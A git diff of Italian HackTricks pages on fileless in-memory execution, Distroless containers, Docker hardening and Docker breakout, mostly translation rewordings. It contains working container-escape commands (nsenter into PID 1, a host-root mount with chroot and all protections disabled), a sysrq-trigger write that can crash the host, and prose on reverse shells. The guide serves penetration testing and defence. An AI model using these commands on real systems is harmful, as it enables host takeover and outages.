||||
|
||||
## Bypass di memoria
|
||||
|
||||
|
@ -62,14 +62,14 @@ Se vuoi eseguire un binario ma il file system non lo permette, il modo migliore
|
|||
|
||||
### Bypass syscall FD + exec
|
||||
|
||||
Se hai alcuni motori di script potenti all'interno della macchina, come **Python**, **Perl** o **Ruby**, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da tali protezioni e quindi chiamare una **syscall `exec`** indicando il **fd come file da eseguire**.
|
||||
Se hai motori di script potenti all'interno della macchina, come **Python**, **Perl** o **Ruby**, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da tali protezioni e quindi chiamare una **syscall `exec`** indicando il **fd come file da eseguire**.
|
||||
|
||||
Per fare ciò puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nella lingua indicata con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno un **modo predefinito per chiamare le syscall grezze** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **fd di memoria** per memorizzare il binario.
|
||||
|
||||
Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà consentito eseguirlo a causa della **protezione no-exec**.
|
||||
Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà consentito eseguirlo perché si applicherà la **protezione no-exec**.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -93,9 +93,9 @@ Per ulteriori informazioni su questa tecnica, controlla su Github o:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. È un **shellcode demonizzato di DDexec**, quindi ogni volta che si desidera **eseguire un binario diverso** non è necessario riavviare DDexec, è sufficiente eseguire il codice shell memexec tramite la tecnica DDexec e quindi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. Si tratta di un **shellcode demonizzato DDexec**, quindi ogni volta che si desidera **eseguire un binario diverso** non è necessario riavviare DDexec, è sufficiente eseguire il codice shell memexec tramite la tecnica DDexec e quindi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**.
|
||||
|
||||
È possibile trovare un esempio su come utilizzare **memexec per eseguire binari da una shell inversa PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
È possibile trovare un esempio su come utilizzare **memexec per eseguire binari da un reverse shell PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
|
@ -109,12 +109,12 @@ I container Distroless contengono solo i **componenti minimi necessari per esegu
|
|||
|
||||
L'obiettivo dei container Distroless è **ridurre la superficie di attacco dei container eliminando componenti non necessari** e riducendo al minimo il numero di vulnerabilità che possono essere sfruttate.
|
||||
|
||||
### Shell Inversa
|
||||
### Reverse Shell
|
||||
|
||||
In un container Distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Pertanto, **non** sarà possibile ottenere una **shell inversa** o **enumerare** il sistema come fai di solito.
|
||||
Pertanto, **non** sarai in grado di ottenere una **shell inversa** o **enumerare** il sistema come fai di solito.
|
||||
{% endhint %}
|
||||
|
||||
Tuttavia, se il container compromesso sta ad esempio eseguendo un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo node, puoi ottenere una shell inversa di Node, e lo stesso con la maggior parte dei **linguaggi di scripting**.
|
||||
|
@ -131,9 +131,9 @@ Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma p
|
|||
|
||||
Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere **shell inverse di linguaggi di scripting** ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -14,17 +14,17 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **Sicurezza di Base del Motore Docker**
|
||||
|
||||
Il **motore Docker** utilizza i **Namespaces** e **Cgroups** del kernel Linux per isolare i container, offrendo uno strato di sicurezza di base. Una protezione aggiuntiva è fornita tramite il **dropping delle Capabilities**, **Seccomp**, e **SELinux/AppArmor**, migliorando l'isolamento del container. Un **plugin di autenticazione** può ulteriormente limitare le azioni dell'utente.
|
||||
Il **motore Docker** utilizza i **Namespaces** e **Cgroups** del kernel Linux per isolare i container, offrendo uno strato di sicurezza di base. Una protezione aggiuntiva è fornita tramite **Capabilities dropping**, **Seccomp**, e **SELinux/AppArmor**, migliorando l'isolamento del container. Un **plugin di autenticazione** può ulteriormente limitare le azioni dell'utente.
|
||||
|
||||
![Sicurezza di Docker](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
|
@ -94,9 +94,9 @@ La firma delle immagini Docker garantisce la sicurezza e l'integrità delle imma
|
|||
|
||||
- **Fiducia dei contenuti Docker** utilizza il progetto Notary, basato su The Update Framework (TUF), per gestire la firma delle immagini. Per ulteriori informazioni, consulta [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
|
||||
- Per attivare la fiducia dei contenuti Docker, imposta `export DOCKER_CONTENT_TRUST=1`. Questa funzionalità è disattivata per impostazione predefinita nelle versioni di Docker 1.10 e successive.
|
||||
- Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il caricamento iniziale dell'immagine richiede di impostare passphrase per le chiavi di root e di tag, con Docker che supporta anche Yubikey per una sicurezza avanzata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Con questa funzionalità abilitata, è possibile scaricare solo immagini firmate. Il primo push dell'immagine richiede di impostare passphrase per le chiavi di root e di tagging, con Docker che supporta anche Yubikey per una sicurezza potenziata. Ulteriori dettagli possono essere trovati [qui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Tentare di scaricare un'immagine non firmata con la fiducia dei contenuti abilitata porta a un errore "Nessun dato di fiducia per l'ultima versione".
|
||||
- Per i caricamenti delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine.
|
||||
- Per i push delle immagini successivi al primo, Docker richiede la passphrase della chiave del repository per firmare l'immagine.
|
||||
|
||||
Per eseguire il backup delle tue chiavi private, utilizza il comando:
|
||||
```bash
|
||||
|
@ -106,7 +106,7 @@ Quando si passa da un host Docker all'altro, è necessario spostare le chiavi di
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -120,7 +120,7 @@ Ottieni l'accesso oggi:
|
|||
|
||||
<summary>Riepilogo delle Funzionalità di Sicurezza dei Container</summary>
|
||||
|
||||
#### Principali Funzionalità di Isolamento dei Processi
|
||||
**Principali Funzionalità di Isolamento dei Processi**
|
||||
|
||||
Negli ambienti containerizzati, isolare i progetti e i loro processi è fondamentale per la sicurezza e la gestione delle risorse. Ecco una spiegazione semplificata dei concetti chiave:
|
||||
|
||||
|
@ -163,7 +163,7 @@ Ciò permetterà di ridurre le capacità, le chiamate di sistema, l'accesso ai f
|
|||
|
||||
### Namespaces
|
||||
|
||||
**I Namespaces** sono una caratteristica del kernel Linux che **partiziona le risorse del kernel** in modo che un insieme di **processi** **veda** un insieme di **risorse** mentre un **altro** insieme di **processi** vede un **diverso** insieme di risorse. La funzionalità funziona avendo lo stesso namespace per un insieme di risorse e processi, ma quei namespace si riferiscono a risorse distinte. Le risorse possono esistere in più spazi.
|
||||
**I Namespaces** sono una caratteristica del kernel Linux che **partiziona le risorse del kernel** in modo che un insieme di **processi** **veda** un insieme di **risorse** mentre **un altro** insieme di **processi** vede un **insieme diverso** di risorse. La funzionalità funziona avendo lo stesso namespace per un insieme di risorse e processi, ma quei namespace si riferiscono a risorse distinte. Le risorse possono esistere in più spazi.
|
||||
|
||||
Docker fa uso dei seguenti Namespaces del kernel Linux per ottenere l'isolamento dei Container:
|
||||
|
||||
|
@ -202,7 +202,7 @@ Per ulteriori informazioni controlla:
|
|||
|
||||
Le capacità consentono un **controllo più preciso delle capacità che possono essere consentite** per l'utente root. Docker utilizza la funzionalità di capacità del kernel Linux per **limitare le operazioni che possono essere eseguite all'interno di un contenitore** indipendentemente dal tipo di utente.
|
||||
|
||||
Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di fuga:
|
||||
Quando viene eseguito un contenitore Docker, il **processo elimina le capacità sensibili che il processo potrebbe utilizzare per sfuggire all'isolamento**. Questo tenta di garantire che il processo non sarà in grado di eseguire azioni sensibili e di sfuggire:
|
||||
|
||||
{% content-ref url="../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
|
@ -210,7 +210,7 @@ Quando viene eseguito un contenitore Docker, il **processo elimina le capacità
|
|||
|
||||
### Seccomp in Docker
|
||||
|
||||
Questa è una funzionalità di sicurezza che consente a Docker di **limitare le chiamate di sistema** che possono essere utilizzate all'interno del contenitore:
|
||||
Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare le chiamate di sistema** che possono essere utilizzate all'interno del contenitore:
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
|
@ -227,7 +227,7 @@ Questa è una funzionalità di sicurezza che consente a Docker di **limitare le
|
|||
### SELinux in Docker
|
||||
|
||||
* **Sistema di etichettatura**: SELinux assegna un'etichetta univoca a ogni processo e oggetto del filesystem.
|
||||
* **Applicazione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può eseguire un'etichetta di processo su altre etichette all'interno del sistema.
|
||||
* **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può compiere un'etichetta di processo su altre etichette all'interno del sistema.
|
||||
* **Etichette dei processi del contenitore**: Quando i motori dei contenitori avviano i processi del contenitore, di solito vengono assegnate loro un'etichetta SELinux confinata, comunemente `container_t`.
|
||||
* **Etichettatura dei file all'interno dei contenitori**: I file all'interno del contenitore sono di solito etichettati come `container_file_t`.
|
||||
* **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con i file etichettati come `container_file_t`.
|
||||
|
@ -281,7 +281,7 @@ Nella seguente pagina puoi apprendere **cosa implica il flag `--privileged`**:
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a bassi privilegi. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di uscirne.
|
||||
Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a bassi privilegi. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne.
|
||||
|
||||
Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation dei privilegi**.
|
||||
```
|
||||
|
@ -356,17 +356,17 @@ Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono esser
|
|||
### Suggerimenti Riassuntivi
|
||||
|
||||
* **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per assumere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
|
||||
* Non eseguire come root all'interno del container. Utilizzare un [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) e [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups.
|
||||
* [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta l'ambito di un potenziale attacco.
|
||||
* **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **e** [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga riassociato con spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups.
|
||||
* [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta la portata di un potenziale attacco.
|
||||
* [**Utilizzare l'opzione di sicurezza "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di ottenere più privilegi, ad esempio attraverso binari suid.
|
||||
* [**Limitare le risorse disponibili al container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
|
||||
* **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** i profili per limitare le azioni e le chiamate di sistema disponibili per il container al minimo richiesto.
|
||||
* **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
|
||||
* **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
|
||||
* **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi di root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
|
||||
* **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini**.
|
||||
* Gestire i **segreti saggiamente** in modo che sia difficile per l'attaccante accedervi.
|
||||
* Se **esponi il demone Docker usa HTTPS** con autenticazione client e server.
|
||||
* Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file zippati e può copiare file da URL. COPY non ha queste capacità. Quando possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi attraverso URL remoti e file Zip.
|
||||
* Avere **container separati per ogni microservizio**
|
||||
* Avere **container separati per ogni micro-s**ervizio
|
||||
* **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al Container.
|
||||
* Avere **immagini di container più piccole**
|
||||
|
||||
|
@ -407,10 +407,10 @@ Se hai accesso al socket Docker o hai accesso a un utente nel **gruppo docker ma
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -420,10 +420,10 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,10 +14,10 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -54,7 +54,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Nel caso in cui il **socket di docker si trovi in un posto inaspettato**, è comunque possibile comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///percorso/al/docker.sock`**
|
||||
Nel caso in cui il **socket di Docker si trovi in un posto inaspettato**, è comunque possibile comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///percorso/al/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
Il demone Docker potrebbe anche essere [in ascolto su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o nei sistemi basati su Systemd, la comunicazione con il demone Docker può avvenire tramite il socket Systemd `fd://`.
|
||||
|
@ -70,15 +70,15 @@ Inoltre, prestare attenzione ai socket di runtime di altri runtime di alto livel
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## Fuga dall'Abuso delle Capacità
|
||||
## Fuga dall'abuso delle capacità
|
||||
|
||||
Dovresti controllare le capacità del container, se ha una qualsiasi delle seguenti, potresti essere in grado di evadere da esso: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Dovresti controllare le capacità del container, se ha una qualsiasi delle seguenti, potresti essere in grado di sfuggirvi: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Puoi controllare le capacità attuali del container utilizzando **gli strumenti automatici precedentemente menzionati** o:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
Nella seguente pagina puoi **scoprire di più sulle capacità di Linux** e su come abusarle per evadere/escalare i privilegi:
|
||||
Nella seguente pagina puoi **saperne di più sulle capacità di Linux** e su come abusarle per evadere/escalare i privilegi:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -98,7 +98,7 @@ Un container privilegiato può essere creato con il flag `--privileged` o disabi
|
|||
* `--cgroupns=host`
|
||||
* `Montare /dev`
|
||||
|
||||
Il flag `--privileged` abbassa significativamente la sicurezza del container, offrendo **accesso ai dispositivi senza restrizioni** e aggirando **diverse protezioni**. Per una dettagliata analisi, consulta la documentazione sugli impatti completi di `--privileged`.
|
||||
Il flag `--privileged` abbassa significativamente la sicurezza del container, offrendo **accesso illimitato ai dispositivi** e aggirando **diverse protezioni**. Per una panoramica dettagliata, consulta la documentazione sugli impatti completi di `--privileged`.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -112,17 +112,17 @@ Provalo in un container eseguendo:
|
|||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
### Privilegiato
|
||||
### Privileged
|
||||
|
||||
Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **scappare abusando di release\_agent o di altre fughe**.
|
||||
Solo con il flag privileged puoi provare ad **accedere al disco dell'host** o provare a **scappare abusando di release\_agent o di altre falle**.
|
||||
|
||||
Testa i seguenti bypass in un container eseguendo:
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Montaggio del disco - Poc1
|
||||
#### Montaggio del Disco - Poc1
|
||||
|
||||
I container Docker ben configurati non consentiranno comandi come **fdisk -l**. Tuttavia, su un comando Docker mal configurato in cui viene specificato il flag `--privileged` o `--device=/dev/sda1` con le capacità, è possibile ottenere i privilegi per visualizzare il drive dell'host.
|
||||
I container Docker ben configurati non consentiranno comandi come **fdisk -l**. Tuttavia, su un comando Docker mal configurato in cui viene specificato il flag `--privileged` o `--device=/dev/sda1` con le capacità, è possibile ottenere i privilegi per visualizzare il disco dell'host.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
|
@ -135,7 +135,7 @@ E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella car
|
|||
|
||||
#### Montaggio del disco - Poc2
|
||||
|
||||
All'interno del container, un attaccante potrebbe tentare di ottenere ulteriore accesso al sistema operativo sottostante dell'host tramite un volume hostPath scrivibile creato dal cluster. Di seguito sono riportate alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore dell'attaccante:
|
||||
All'interno del container, un attaccante potrebbe tentare di ottenere ulteriore accesso al sistema operativo dell'host sottostante tramite un volume hostPath scrivibile creato dal cluster. Di seguito sono riportate alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore dell'attaccante:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -244,7 +244,7 @@ Trova una **spiegazione della tecnica** in:
|
|||
|
||||
#### Fuga privilegiata sfruttando release\_agent senza conoscere il percorso relativo - PoC3
|
||||
|
||||
Nei precedenti exploit viene **rivelato il percorso assoluto del container all'interno del filesystem dell'host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica:
|
||||
Negli exploit precedenti viene **rivelato il percorso assoluto del container all'interno del filesystem degli host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -347,7 +347,7 @@ L'abuso di questi file potrebbe permettere:
|
|||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Tuttavia, è possibile trovare **altri file sensibili** da controllare in questa pagina:
|
||||
Tuttavia, puoi trovare **altri file sensibili** da controllare in questa pagina:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
|
@ -419,7 +419,7 @@ Se riesci ad accedere ai processi dell'host, sarai in grado di accedere a molte
|
|||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
